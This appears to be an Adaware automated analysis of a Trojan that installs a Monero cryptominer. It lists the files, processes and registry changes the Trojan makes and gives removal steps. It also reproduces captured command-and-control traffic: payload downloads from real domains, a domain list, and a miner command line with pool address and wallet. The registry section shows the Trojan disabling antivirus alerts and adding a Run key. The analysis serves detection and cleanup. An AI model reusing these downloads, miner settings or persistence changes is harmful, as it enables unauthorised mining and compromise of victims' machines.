Gen.Variant.Zusy.133308_2699649e59 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

uzzcknam06vjts.exe:5836
abudssot.exe:4296
abudssot.exe:936
abudssot.exe:3344
unzip.exe:5892
nrolotqusli.exe:5348
nrolotqusli.exe:3336
uzzckna2qlvjtsrwlkvedp.exe:2368
uzzckna4u4vjts.exe:444
%original file name%.exe:816
uzzcknacm2vjts.exe:2524
uzzcknapekvjts.exe:5948

The Trojan injects its code into the following process(es):

win32xmr2.exe:3376

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process abudssot.exe:4296 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\puiwvwfpaxlqzs\tst (10 bytes)

The process abudssot.exe:936 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\puiwvwfpaxlqzs\tst (10 bytes)

The process abudssot.exe:3344 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\puiwvwfpaxlqzs\tst (10 bytes)

The process unzip.exe:5892 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\binaries_burst5n\win32\win32plot2.exe (673 bytes)
%System%\binaries_burst5n\win64\win64plot2.exe (673 bytes)
%System%\binaries_burst5n\win64\win64burst2.exe (673 bytes)
%System%\binaries_burst5n\xmr\win32mrocli2.exe (7726 bytes)
%System%\binaries_burst5n\xmr\win64mrocli3.exe (22430 bytes)
%System%\binaries_burst5n\xmr\win64mroaes4.exe (21387 bytes)
%System%\binaries_burst5n\xmr\win64xmr2.exe (10177 bytes)
%System%\binaries_burst5n\xmr\win32xmr2.exe (8657 bytes)
%System%\binaries_burst5n\win32\win32burst2.exe (673 bytes)

The process nrolotqusli.exe:5348 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\puiwvwfpaxlqzs\tst (10 bytes)

The process nrolotqusli.exe:3336 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\unzip.exe (7100 bytes)
%System%\binaries_burst5n.zip (159616 bytes)
%System%\puiwvwfpaxlqzs\cfg (1061 bytes)
%WinDir%\Temp\uzzcknam06vjts.exe (2820 bytes)
%WinDir%\Temp\uzzckna4u4vjts.exe (35 bytes)
%System%\abudssot.exe (7726 bytes)
%System%\puiwvwfpaxlqzs\run (10 bytes)
%WinDir%\Temp\uzzcknapekvjts.exe (35 bytes)
%WinDir%\Temp\uzzcknacm2vjts.exe (7726 bytes)
%System%\puiwvwfpaxlqzs\rng (156 bytes)
%System%\puiwvwfpaxlqzs\tst (10 bytes)
%System%\puiwvwfpaxlqzs\por (1 bytes)

The Trojan deletes the following file(s):

%WinDir%\Temp\uzzcknapekvjts.exe (0 bytes)
%WinDir%\Temp\uzzcknam06vjts.exe (0 bytes)
%WinDir%\Temp\uzzckna4u4vjts.exe (0 bytes)
%WinDir%\Temp\uzzcknacm2vjts.exe (0 bytes)

The process uzzckna2qlvjtsrwlkvedp.exe:2368 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\puiwvwfpaxlqzs\etc (10 bytes)
%System%\puiwvwfpaxlqzs\tst (10 bytes)
%System%\nrolotqusli.exe (7726 bytes)
%System%\drivers\etc\hosts (22 bytes)

The Trojan deletes the following file(s):

%System%\drivers\etc\hosts (0 bytes)

The process %original file name%.exe:816 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\uzzckna2qlvjtsrwlkvedp.exe (7386 bytes)
%System%\puiwvwfpaxlqzs\tst (10 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\uzzckna2qlvjtsrwlkvedp.exe (0 bytes)

The process uzzcknacm2vjts.exe:2524 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%System%\puiwvwfpaxlqzs\tst (10 bytes)

Registry activity

The process uzzcknam06vjts.exe:5836 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKU\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKU\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

The process win32xmr2.exe:3376 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1A CA ED D5 FF 69 DF 6A 87 FD C7 B1 C9 80 75 66"

The process unzip.exe:5892 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8E 53 2F AE BF 38 EB 99 13 07 9F 42 63 16 C3 A5"

The process nrolotqusli.exe:3336 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B4 13 C3 2B 03 59 B4 25 06 8A B2 18 CF 7F 61 9C"

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusOverride" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallOverride" = "1"
"FirewallDisableNotify" = "1"

Antivirus notifications are disabled:

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusDisableNotify" = "1"

The process uzzckna2qlvjtsrwlkvedp.exe:2368 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FA FB B7 F7 6A 1F F2 DE BB 3E F5 A8 84 B9 88 AE"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Device Access Biometric TP Base DLL" = "%System%\nrolotqusli.exe"

The process uzzckna4u4vjts.exe:444 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9C 69 E3 5D D2 47 33 5B 14 69 FF 7A 2E 7F B8 99"

The process uzzcknacm2vjts.exe:2524 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5A 8C 2D EA D5 C3 3A 35 C5 B2 74 44 87 11 21 46"

The process uzzcknapekvjts.exe:5948 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5F C8 A1 08 5A 6F 22 81 C1 A1 07 CC 86 27 9E 7F"

Dropped PE files

MD5	File path
88e971648dc5dcc8587fac88d2109f9c	c:\WINDOWS\system32\binaries_burst5n\win32\win32burst2.exe
30eeb29545e980e5f9bc64a50742a376	c:\WINDOWS\system32\binaries_burst5n\win32\win32plot2.exe
7ae9c57965bfce79599ff71029f29495	c:\WINDOWS\system32\binaries_burst5n\win64\win64burst2.exe
7135abe1af9858de9dd5df3b4b881b14	c:\WINDOWS\system32\binaries_burst5n\win64\win64plot2.exe
1b6d0ba25cd8f682ad75f73915dd7007	c:\WINDOWS\system32\binaries_burst5n\xmr\win32mrocli2.exe
8b11325f4b729b7072c050035b454759	c:\WINDOWS\system32\binaries_burst5n\xmr\win32xmr2.exe
2d186dc8a288c28a758ea36c9d02bd34	c:\WINDOWS\system32\binaries_burst5n\xmr\win64mroaes4.exe
37f7b1e80689b92d18fcb9faf81547a1	c:\WINDOWS\system32\binaries_burst5n\xmr\win64mrocli3.exe
37e2490d6c9391fe81043eeb7cfa637a	c:\WINDOWS\system32\binaries_burst5n\xmr\win64xmr2.exe
fecf803f7d84d4cfa81277298574d6e6	c:\WINDOWS\system32\unzip.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
uzzcknam06vjts.exe:5836
abudssot.exe:4296
abudssot.exe:936
abudssot.exe:3344
unzip.exe:5892
nrolotqusli.exe:5348
nrolotqusli.exe:3336
uzzckna2qlvjtsrwlkvedp.exe:2368
uzzckna4u4vjts.exe:444
%original file name%.exe:816
uzzcknacm2vjts.exe:2524
uzzcknapekvjts.exe:5948
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%System%\puiwvwfpaxlqzs\tst (10 bytes)
%System%\binaries_burst5n\win32\win32plot2.exe (673 bytes)
%System%\binaries_burst5n\win64\win64plot2.exe (673 bytes)
%System%\binaries_burst5n\win64\win64burst2.exe (673 bytes)
%System%\binaries_burst5n\xmr\win32mrocli2.exe (7726 bytes)
%System%\binaries_burst5n\xmr\win64mrocli3.exe (22430 bytes)
%System%\binaries_burst5n\xmr\win64mroaes4.exe (21387 bytes)
%System%\binaries_burst5n\xmr\win64xmr2.exe (10177 bytes)
%System%\binaries_burst5n\xmr\win32xmr2.exe (8657 bytes)
%System%\binaries_burst5n\win32\win32burst2.exe (673 bytes)
%System%\unzip.exe (7100 bytes)
%System%\binaries_burst5n.zip (159616 bytes)
%System%\puiwvwfpaxlqzs\cfg (1061 bytes)
%WinDir%\Temp\uzzcknam06vjts.exe (2820 bytes)
%WinDir%\Temp\uzzckna4u4vjts.exe (35 bytes)
%System%\abudssot.exe (7726 bytes)
%System%\puiwvwfpaxlqzs\run (10 bytes)
%WinDir%\Temp\uzzcknapekvjts.exe (35 bytes)
%WinDir%\Temp\uzzcknacm2vjts.exe (7726 bytes)
%System%\puiwvwfpaxlqzs\rng (156 bytes)
%System%\puiwvwfpaxlqzs\por (1 bytes)
%System%\puiwvwfpaxlqzs\etc (10 bytes)
%System%\nrolotqusli.exe (7726 bytes)
%System%\drivers\etc\hosts (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\uzzckna2qlvjtsrwlkvedp.exe (7386 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Device Access Biometric TP Base DLL" = "%System%\nrolotqusli.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	845323	845824	4.4658	b87897c0c9f049687d6daf109026b33d
.rdata	851968	338010	338432	4.80549	20d1420dd6da9b8782e0fc1efd71df5c
.data	1191936	42692	7680	3.21683	9ef7f9a2b51588e9ef5e9f5227356894

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://ableread.net/index.php?method=validate&mode=sox&v=041&sox=4b523800&lenhdr	98.139.135.198
hxxp://ableread.net/index.php?method=all&flag&mode=sox&v=041&sox=4b523800&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	98.139.135.198
hxxp://ableread.net/index.php?method=setvar&key=cpuinfo&value=Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)&mode=sox&v=041&sox=4b523800&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	98.139.135.198
hxxp://ableread.net/dep/unzip.exe	98.139.135.198
hxxp://ableread.net/index.php?method=setvar&key=connected&value=8083&mode=sox&v=041&sox=4b523800&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	98.139.135.198
hxxp://ableread.net/dep/binaries_burst5n.zip	98.139.135.198
hxxp://ableread.net/index.php?method=checkport&port=39965&mode=sox&v=041&sox=4b523800&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	98.139.135.198
hxxp://ableread.net/index.php?method=all&mode=sox&v=041&sox=4b523800&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	98.139.135.198
hxxp://ableread.net/index.php?method=setvar&key=stopped&value=8083&mode=sox&v=041&sox=4b523800&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	98.139.135.198
hxxp://ableread.net/index.php?method=post&type=miner_forced&mode=sox&v=041&sox=4b523800&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr	98.139.135.198
hxxp://movementbeyond.net/dep/binaries_burst5n.zip	98.139.135.198
hxxp://movementbeyond.net/dep/unzip.exe	98.139.135.198

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

relayrqst

ID

..

GET /dep/binaries_burst5n.zip HTTP/1.0

Accept: */*

Connection: close

Host: movementbeyond.net

HTTP/1.0 200 OK

Date: Fri, 24 Apr 2015 23:58:30 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Last-Modified: Fri, 10 Apr 2015 05:05:57 GMT

Accept-Ranges: bytes

Content-Length: 6325490

Content-Type: application/zip

Age: 0

Server: ATS/5.0.1

PK........R@.F................binaries_burst5n/..y.u..... .PK..............PK........R@.F................binaries_burst5n/win64/..y.u..... .PK..............PK........F..F.....@......&...binaries_burst5n/win64/win64burst2.exe..y.u.....4.d... ...*...-.8.TM.E..5..57^..o<-.i:....Zw.:.I#.cC.N..^....je..fI.....% .v..4.W.qW..Cz..&A.l4....v.z}v..........bd.2...q.'3.^Hqh..@.dv.V^.DP.0*.".x....Lv.;9..Z....-{k..J..[.^y...../....Ht..Ad..$....F. ....1hW..l5........E..._.n*.R...=.....'....y7..{...j.a$ .0....M..^.@H/...... s2..z^7...F..]... .S.....XT...1.C...J............./...*..c....5.7....?x4..4_.....gU.wo.....Q....%....&u....6.....".....Gr....M.<..}.O......:5Um ..~D...0.l.... ,....d...g..*...-mYd"..h....?..P....M[J&z....;KY.4.|uM.-......TQ...=..`..8#..#....b..8..8...2....u.o...x..0..1...0.........p..MX............7U[.....6.:..}.......m...W....Q...Q.4...w......~G..L..!n..."...#J..H.... ...&..w.].n#...4......kv.'...x.1_.o~.G?..\*..{.... I ...KY.J.l..z4.........m5Q{Q.."o...5..p?.A-.<.h.../.X..fs.......6......)..p....P......Y.h.'..>...h/EA*...)...p.Vi.a.{....d....E.Z....PM*...]%U...G....~...e..yu(7.. ...u./~.{.>..x..&.........*.6Q..~....4...]...".....>.UA...;..&Ho....\.]^k.w..#..L.6p6.ch..T..6..iq{.H$..0\.n.7d*|....P-,....9F2t$..1y."..t....B%. ..hF...;,N={i.'*..o.,.@.......(hrF<..L..g9.........B......k......G.\..u..h..n8x......(..=`..nr.nG.oe..U..b.#.$=V.H<}..HCMef......... 42..I=.....vsKBuH........../.....'#.JW_...:p.W....'.Qp.D....[6......[......wQ....Z...{....O&.o.u.....~..1....d....B..! 1c.X;i.29"..

<<< skipped >>>

GET /dep/unzip.exe HTTP/1.0

Accept: */*

Connection: close

Host: movementbeyond.net

HTTP/1.0 200 OK

Date: Fri, 24 Apr 2015 23:58:29 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Last-Modified: Tue, 20 May 2014 22:57:37 GMT

Accept-Ranges: bytes

Content-Length: 164864

Content-Type: application/x-msdownload

Age: 0

Server: ATS/5.0.1

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......B...............8.Z...................p....@...............3........................... ......................................................................................................................................................text...$X.......Z..................`..`.data........p.......^..............@....bss.....................................idata...............`..............@....rsrc................t..............@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................U.......$........C..h.....1.]...U.......$........C..H.....1.]...U......U...$..d.C...]..v...'....U......U...$..H.C...]..v...'....U..S..$..$..@..}O.......C....$.pB.....B..M..E......L$..T$..U..T$..D$..pB...K....qB...t^..qB...<.C...t..D$..Z...$..K....<.C....t....qB..\$..J0..$..K....<.C....t....qB..\$..JP..$.{K...fK.....qB.....C...4K.....pB......pB...$.\$..L$..........J....$..N....&....U......]..M.1..u.1.....=..........=....sg=....t....u..]...]....D$.......$......J.....t"..t...$......&......'...........

<<< skipped >>>

relayrqst

ID

..

POST /index.php?method=post&type=miner_forced&mode=sox&v=041&sox=4b523800&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 441

data=c3NlIDQuMQ0Kc3NlIDQuMg0KZ2xvYmFsX3BlcmNlbnQ6IDUgTlQ6IDUuMSANCnNwYXduZWQ6ICd3aW4zMnhtcjIuZXhlIC1vIHN0cmF0dW0rdGNwOi8vMTYyLjIxMy4xOTUuMzU6NzEyNiAtdSA0M3VhdnR2QVc0NWZneUtndjR5N3FUN0FkMkFnZnB6b2MyU21XQW05UzZEYTRNRTk1Yk5SdFRpTWhKcllCSDMySG5FQW1HOFFvQm4yUFVDQkFRSzdGSHZyTTVSSlE1eiAtcCB4Jw0Kc3Bhd25lZDogJ3dpbjMyYnVyc3QyLmV4ZSA0YjUyMzgwMCAyMy45Mi42NS4yMDo5NDQ2LDEwNy4xNTUuMTE2LjEyMToxNjY5LDIzLjkyLjY1LjIwOjgwLDEwNy4xNTUuMTE2LjEyMTo4MCAwIDcxJw0K

HTTP/1.0 200 OK

Date: Fri, 24 Apr 2015 23:59:16 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 0

Server: ATS/5.0.1

11..............

GET /index.php?method=setvar&key=connected&value=8083&mode=sox&v=041&sox=4b523800&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

HTTP/1.0 200 OK

Date: Fri, 24 Apr 2015 23:59:05 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 0

Server: ATS/5.0.1

11..............

GET /index.php?method=validate&mode=sox&v=041&sox=4b523800&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

HTTP/1.0 200 OK

Date: Fri, 24 Apr 2015 23:58:27 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 0

Server: ATS/5.0.1

1185.305.Va<U......0.ableread.net.........m..JW'...^V....;C`..]:.j~0.RG.d.x5.|..t..9.......Xj:..].pN........q.,"7p6#..cX....i.=..R^G.AzQ..9....L..W.]2...".Y?...fdp9.?....{..'.l...0.......Y...-'o....3..AR.Q.Ex.B............8..W..@.iC~.=.C....k/....&..F .!..!..........?..R...u9.)%4.......tg.o.....|*.....:$Soql..lZgT...$.....V.g..y....,.E....^T.....dn....P..'T....=t...6....d6HN,%NRk.K..R.[..X..K9..QY,d...4...y....EM`..Y.....E.x.e..*....LRG......@...|cNl.e..R..fA..E.g%....v.$...SM/U...E..l.....d.=..w...5..&....^ ..u_.....^1r........p..)X7\g;s[...>..L.L}........ ...R..2....$?..!KORu....<..E..!.o..7.'Sg}..}..OD>.l...........3..j.?..*...0..2....q.6X:.mSm.H.qk..~f..ju.."............C......kbA.^b.O....Y..{.}.....=.j..m^CR..H.../....y2Z.W.......t.i.].U..........%)-]...HB....N.p.C(m.D.o..@..D.e..8....0.L9.'.Bu....x; ..-._Y........__.~R....{.....E M:1......0. ..o.2.\....X.[.....o^..... .K...c..g...u.V..P0.p*.e...DR.....\EAal...R......zd.....wr...&<..J.P...|....9..Q....K...>. d.?Hv(*..5V4.....t.i.X......$;....(...k...8&EFe.:.3....@@...%Z.LD.oX..v....5.5F1xx...%.....W.z........g.t.......h.'.sN....!Gj.s.<......#.....AAk.B....2.]...Yl........*.P...o,.2q..{.V...i.n..q:w).]o....h'...}.Wo#...

GET /index.php?method=all&mode=sox&v=041&sox=4b523800&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

HTTP/1.0 200 OK

Date: Fri, 24 Apr 2015 23:59:04 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 0

Server: ATS/5.0.1

684.ping.5.FLAG cfg.383."rathersystem.net" "strangedistant.net" "doubtsafety.net" "leadersoldier.net" "oftenbranch.net" "alexandrinacalleigh.net" "nailthere.net" "brooklynnharoldson.net" "electricseparate.net" "recordtrust.net" "thicklaughter.net" "recorddivide.net" "flieranother.net" "flierdress.net" "doubtpaint.net" "maybellinecherokee.net" "ableread.net" "naildeep.com" "ithouneed.com" "eggbraker.com" var_user_ip.254.Ãžp_host% = "movementbeyond.net";.Ãžp_path% = "/dep/";.%no_password% = "0";.%timer% = "1200";.%ip% = "162.213.195.35";.%port% = "8079";.%relay_soxid% = "8083";.%thread_timeout% = "300";.%cpuinfo% = "Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)";..............

GET /index.php?method=setvar&key=connected&value=8083&mode=sox&v=041&sox=4b523800&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

HTTP/1.0 200 OK

Date: Fri, 24 Apr 2015 23:58:29 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 0

Server: ATS/5.0.1

11..............

GET /index.php?method=checkport&port=39965&mode=sox&v=041&sox=4b523800&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

HTTP/1.0 200 OK

Date: Fri, 24 Apr 2015 23:58:38 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 30

Server: ATS/5.0.1

0...

GET /index.php?method=setvar&key=stopped&value=8083&mode=sox&v=041&sox=4b523800&lport=1&rsid=8083&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

HTTP/1.0 200 OK

Date: Fri, 24 Apr 2015 23:59:05 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 0

Server: ATS/5.0.1

11..............

GET /index.php?method=setvar&key=cpuinfo&value=Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)&mode=sox&v=041&sox=4b523800&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

HTTP/1.0 200 OK

Date: Fri, 24 Apr 2015 23:58:28 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 2

Server: ATS/5.0.1

11..............

GET /index.php?method=all&flag&mode=sox&v=041&sox=4b523800&lport=1&rsid=NOSOXYID123&slots=0&spm=0&adm=1&x64=0&mr=0&lenhdr HTTP/1.0

Accept: */*

Connection: close

Host: ableread.net

HTTP/1.0 200 OK

Date: Fri, 24 Apr 2015 23:58:28 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

Content-Type: text/html

Age: 0

Server: ATS/5.0.1

82524.ping.5.FLAG cfg.383."flieranother.net" "flierdress.net" "doubtsafety.net" "electricseparate.net" "recordtrust.net" "recorddivide.net" "doubtpaint.net" "leadersoldier.net" "rathersystem.net" "thicklaughter.net" "alexandrinacalleigh.net" "strangedistant.net" "ableread.net" "maybellinecherokee.net" "brooklynnharoldson.net" "nailthere.net" "oftenbranch.net" "naildeep.com" "eggbraker.com" "ithouneed.com" var_user_ip.253.Ãžp_host% = "movementbeyond.net";.Ãžp_path% = "/dep/";.%no_password% = "0";.%timer% = "180";.%ip% = "162.213.195.35";.%port% = "8079";.%relay_soxid% = "8083";.%thread_timeout% = "300";.%cpuinfo% = "Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz (3392 MHz)";.plugin.81828.miner_forced.271. -o stratum tcp://162.213.195.35:7126 -u 43uavtvAW45fgyKgv4y7qT7Ad2Agfpzoc2SmWAm9S6Da4ME95bNRtTiMhJrYBH32HnEAmG8QoBn2PUCBAQK7FHvrM5RJQ5z -p x.8hGghbvdsfSHvxnjjkJFHDGsf4.win32burst2.exe 4b523800 23.92.65.20:9446,107.155.116.121:1669,23.92.65.20:80,107.155.116.121:80 0 71.MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........5S..fS..fS..f...fR..f<..f@..f<.-f...fZ..fV..fS..f...f<.,ft..f<..fR..fRichS..f................PE..L....i'U.....................~......V?............@.......................................@.....................................<............................`...................................... ...@...............X............................text............................... ..`.rdata...6.......8............

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

nrolotqusli.exe_3336:

.text

`.rdata

@.data

xSSSh

FTPjKS

FtPj;S

C.PjRV

k%SY%

cseluexebl ltvo crme edn jgteor cha ppdo flaqiddfea tblaxoa sdvo fplespb uatibeoa zjdub zczowhso dmibiwt eqjc ffjijmu jmfugwq fcojolcbi fcda qdca rulzofand ndouiarodr asdu sudofo ybbuplk mms ramm usbbi sfa epomjicv jhsajoxna spumihuca btlaafgi mbj tbcaw pcte vpb mqnusf rvgenrc ocucgiuanj drcugol ftlebydied sru imeo rlmukrde eylfoeup lallu icmwabjb uijfvuklsa rgmi pjlecvwo gclonuboav fkrel yopfet ueac ejusbiomo tpjihr yce csnailm oyxzudnauc safavodepg bxevirap vygofb opdler agrle bbnas pnpanvlar bpwifi pdwiejzbu psgufaaqfu uijcdopf rbb fwnenstums aehgx xnm odtogeba macnolatg asgjir prd luppe edpni mluioq eflxu ibtza wap ict gqpios iddoni rfdinjlifd mesa bzcens gufgitnb mbbo lds djf poknu debjog unw ieijcdoj jmco dofmabse

jgxius nlniqfvinm cmban oglbekry dihocugpja gepnuf cojnuzltej znwaxg glle dmjiydeq xztic sjtie cmro robucurddo crurelgiif ftp nkl dddaitbilo dbbou budgak rbaledsle frliuglu ccelep tvzoscuyo duzbivnbuq flyinl sdke cwumadmy vreximlduj qepkilbdec xbpi rozdebbe sitqaiswe ebbboukw agezadaxbu gtru wsesuz pct stfualn hjoecugnge idbfaeure fzcolzaqi udbsusjr orquui pia dbyema ghdondf ooszonijf jgiiusea hokbuxgdex cgjidcsu mfciqd sczapuhduj cula jrgie obm vmul ddesagsen ttafu ilsdua idndidg tgti sjvaag ydhui veilr cklisr mppomlw rad bgbe eji izcui jpgudnv dqlou jpzosuwup ovllih tlfisrz lfjaaffzon bnufipvj zbbe jmufi egmrintgoe uaznlasmz xvdax qzifoubvdo fmk ggnoqbufu mbxaou fpyam zisdinr

